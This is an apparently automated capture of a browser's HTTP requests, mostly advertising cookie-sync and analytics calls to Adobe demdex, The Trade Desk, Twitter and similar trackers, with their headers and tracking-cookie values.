ARRAffinity=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ARRAffinitySameSite=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=6423475379254820486 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=1alkqfwgtl84n HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=ea6b252cbe03312fae873b65ecbaa1447dcfff534171cf01177bbab50f8055e9b0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESEI_C8jDkZbQ19Tl_bp2yF-Q&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=6423475379254820486 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=1alkqfwgtl84n HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESEI_C8jDkZbQ19Tl_bp2yF-Q&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=73055362422130141231731046285304492740&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i.match?p=b13&u=73055362422130141231731046285304492740&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: a.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z1nwWQAAAEVt4AO5 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /13.0.24766.39/scripts/hash-manifest.js HTTP/1.1Host: app.powerbi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ARRAffinity=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5; ARRAffinitySameSite=103d18c3448de9f2754cf8f703d8f153bd30a86242e4698896b07b5633cc6ad5
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=73055362422130141231731046285304492740&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_yUb8BVKh1hUW6kj7mR/cLA=="
Source: global traffic	HTTP traffic detected: GET /z/i.match?p=b13&u=73055362422130141231731046285304492740&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1Host: s.tribalfusion.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ANON_ID=aSnoeUN3IdqSIdwDVjhTwc8EMETVqHZdVZbqlZa6YuW
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=61897766319674&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=3A163A25D7156FD116ED2F77D6776E1C HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=2ab2ec11-5c33-481b-b6bd-a108cb4abd7c; TDCPM=CAEYBSgCMgsI6Prx5bmKzT0QBTgB
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=J6kfwneuHM88-knJd6cHznf8TM88rEudIak07sLB HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=2ab2ec11-5c33-481b-b6bd-a108cb4abd7c HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=3047&dpuuid=61897766319674&gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1957&dpuuid=3A163A25D7156FD116ED2F77D6776E1C HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=1175&gdpr=0&dpuuid=J6kfwneuHM88-knJd6cHznf8TM88rEudIak07sLB HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=22054 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=903&dpuuid=2ab2ec11-5c33-481b-b6bd-a108cb4abd7c HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=ADOBE&_hosted_id=73055362422130141231731046285304492740&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: dmpsync.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dmp/adobe/user?dd_uuid=73055362422130141231731046285304492740 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=DA64BD7F4A54ECC10B04C10302DB7F70 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=73055362422130141231731046285304492740; dpm=73055362422130141231731046285304492740; dextp=358-1-1733947481117\|477-1-1733947481848\|771-1-1733947481980\|782-1-1733947482963\|992-1-1733947483854\|1123-1-1733947484847\|903-1-1733947485842\|1175-1-1733947486972\|1957-1-1733947488334\|3047-1-1733947488846\|22054-1-1733947489843\|30646-1-1733947490844\|53196-1-1733947491840\|38117-1-1733947492847\|57282-1-1733947493844\|49276-1-1733947494846\|72352-1-1733947495841\|80742-1-1733947496841\|81309-1-1733947497862
